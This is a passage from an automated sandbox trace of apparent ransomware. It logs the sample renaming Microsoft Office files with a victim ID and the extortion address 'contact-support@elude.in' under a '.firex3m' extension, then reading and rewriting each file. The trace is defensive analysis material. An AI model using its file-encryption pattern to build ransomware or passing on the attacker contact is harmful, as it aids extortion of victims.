Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0137.056] CloseHandle (hObject=0x6a4) returned 1 [0137.056] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.057] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.057] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CARBN_~1.FIR")) returned 0x6d5200 [0137.057] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0137.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0137.058] GetProcessHeap () returned 0x630000 [0137.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2481) returned 0x6fa7408 [0137.058] GetProcessHeap () returned 0x630000 [0137.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2481) returned 0x6fc0048 [0137.059] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.059] ReadFile (in: hFile=0x6a4, lpBuffer=0x6fa7408, nNumberOfBytesToRead=0x2460, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa7408*, lpNumberOfBytesRead=0x523ff0c*=0x2460, lpOverlapped=0x0) returned 1 [0138.668] GetProcessHeap () returned 0x630000 [0138.668] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0138.668] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.668] WriteFile (in: hFile=0x6a4, lpBuffer=0x6fc0048*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc0048*, lpNumberOfBytesWritten=0x523ff0c*=0x2460, lpOverlapped=0x0) returned 1 [0138.668] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.668] WriteFile (in: hFile=0x6a4, lpBuffer=0x6fc24a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc24a7*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.668] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.668] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.668] CloseHandle (hObject=0x6a4) returned 1 [0138.668] GetProcessHeap () returned 0x630000 [0138.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc0048 | out: hHeap=0x630000) returned 1 [0138.669] GetProcessHeap () returned 0x630000 [0138.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa7408 | out: hHeap=0x630000) returned 1 [0138.670] GetProcessHeap () returned 0x630000 [0138.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0138.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18999356, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0xa0c7496, dwReserved1=0x6fa7400, cFileName="CARBN_01.MID.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CARBN_~1.FIR")) returned 0x6d5480 [0138.670] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0138.670] Sleep (dwMilliseconds=0x1) [0139.980] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms", len=0x53 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 1 [0139.980] GetProcessHeap () returned 0x630000 [0139.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c4c) returned 0x7203db8 [0139.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0142.461] CloseHandle (hObject=0x6e8) returned 1 [0142.463] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.835] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.835] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe423f37b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe423f37b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe42fdf13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d65, dwReserved0=0x66002e, dwReserved1=0x720069, cFileName="HomeBusinessR_Trial-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO34D3~1.FIR")) returned 0x6d52c0 [0143.835] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0143.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0143.835] GetProcessHeap () returned 0x630000 [0143.835] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d81) returned 0x6fe8fc8 [0143.835] GetProcessHeap () returned 0x630000 [0143.835] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d81) returned 0x7206408 [0143.836] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.836] ReadFile (in: hFile=0x6e8, lpBuffer=0x6fe8fc8, nNumberOfBytesToRead=0x2d60, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe8fc8*, lpNumberOfBytesRead=0x523ff0c*=0x2d60, lpOverlapped=0x0) returned 1 [0144.630] GetProcessHeap () returned 0x630000 [0144.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71774e8 [0144.631] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.631] WriteFile (in: hFile=0x6e8, lpBuffer=0x7206408*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7206408*, lpNumberOfBytesWritten=0x523ff0c*=0x2d60, lpOverlapped=0x0) returned 1 [0145.684] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.684] WriteFile (in: hFile=0x6e8, lpBuffer=0x7209167*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7209167*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.940] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.940] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.940] CloseHandle (hObject=0x6e8) returned 1 [0145.940] GetProcessHeap () returned 0x630000 [0145.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7206408 | out: hHeap=0x630000) returned 1 [0145.940] GetProcessHeap () returned 0x630000 [0145.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe8fc8 | out: hHeap=0x630000) returned 1 [0145.941] GetProcessHeap () returned 0x630000 [0145.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71774e8 | out: hHeap=0x630000) returned 1 [0145.941] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.941] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe423f37b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe423f37b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cef6987, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d89, dwReserved0=0xa0c7496, dwReserved1=0x6fe8fc0, cFileName="HomeBusinessR_Trial-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO34D3~1.FIR")) returned 0x6d54c0 [0145.941] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0145.941] Sleep (dwMilliseconds=0x1) [0146.021] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT", len=0x44 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT") returned 1 [0146.021] GetProcessHeap () returned 0x630000 [0146.021] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x275c) returned 0x71f7c78 [0146.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0146.810] CloseHandle (hObject=0x4b8) returned 1 [0146.814] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.814] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa25e3e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa25e3e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLOO~4.FIR")) returned 0x6d5380 [0146.815] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0146.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0146.815] GetProcessHeap () returned 0x630000 [0146.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x718588 [0146.815] GetProcessHeap () returned 0x630000 [0146.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x717ef8 [0146.815] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.815] ReadFile (in: hFile=0x684, lpBuffer=0x718588, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718588*, lpNumberOfBytesRead=0x523ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.817] GetProcessHeap () returned 0x630000 [0146.817] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0146.817] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.817] WriteFile (in: hFile=0x684, lpBuffer=0x717ef8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717ef8*, lpNumberOfBytesWritten=0x523ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.817] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.817] WriteFile (in: hFile=0x684, lpBuffer=0x717fb7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717fb7*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.817] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.817] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.817] CloseHandle (hObject=0x684) returned 1 [0146.817] GetProcessHeap () returned 0x630000 [0146.817] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717ef8 | out: hHeap=0x630000) returned 1 [0146.818] GetProcessHeap () returned 0x630000 [0146.818] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718588 | out: hHeap=0x630000) returned 1 [0146.818] GetProcessHeap () returned 0x630000 [0146.818] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0146.818] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa25e3e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa25e3e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d74eced, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x523fd20, dwReserved1=0x718588, cFileName="OUTLOOK_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLOO~4.FIR")) returned 0x6d5040 [0146.818] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0146.818] Sleep (dwMilliseconds=0x1) [0148.058] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", len=0x41 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT") returned 1 [0148.058] GetProcessHeap () returned 0x630000 [0148.058] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26b0) returned 0x71f7c78 [0148.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0149.281] CloseHandle (hObject=0x4b8) returned 1 [0149.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.326] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.PPT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROTTP~3.FIR")) returned 0x6d5440 [0149.326] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0149.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0149.326] GetProcessHeap () returned 0x630000 [0149.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3021) returned 0x6fb7418 [0149.327] GetProcessHeap () returned 0x630000 [0149.327] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3021) returned 0x71f4128 [0149.327] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.327] ReadFile (in: hFile=0x4b8, lpBuffer=0x6fb7418, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb7418*, lpNumberOfBytesRead=0x523ff0c*=0x3000, lpOverlapped=0x0) returned 1 [0151.832] GetProcessHeap () returned 0x630000 [0151.832] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0151.832] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.833] WriteFile (in: hFile=0x4b8, lpBuffer=0x71f4128*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f4128*, lpNumberOfBytesWritten=0x523ff0c*=0x3000, lpOverlapped=0x0) returned 1 [0151.833] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.833] WriteFile (in: hFile=0x4b8, lpBuffer=0x71f7127*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f7127*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0151.833] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.833] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0151.833] CloseHandle (hObject=0x4b8) returned 1 [0151.833] GetProcessHeap () returned 0x630000 [0151.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f4128 | out: hHeap=0x630000) returned 1 [0151.833] GetProcessHeap () returned 0x630000 [0151.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb7418 | out: hHeap=0x630000) returned 1 [0151.833] GetProcessHeap () returned 0x630000 [0151.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0151.834] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0151.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, 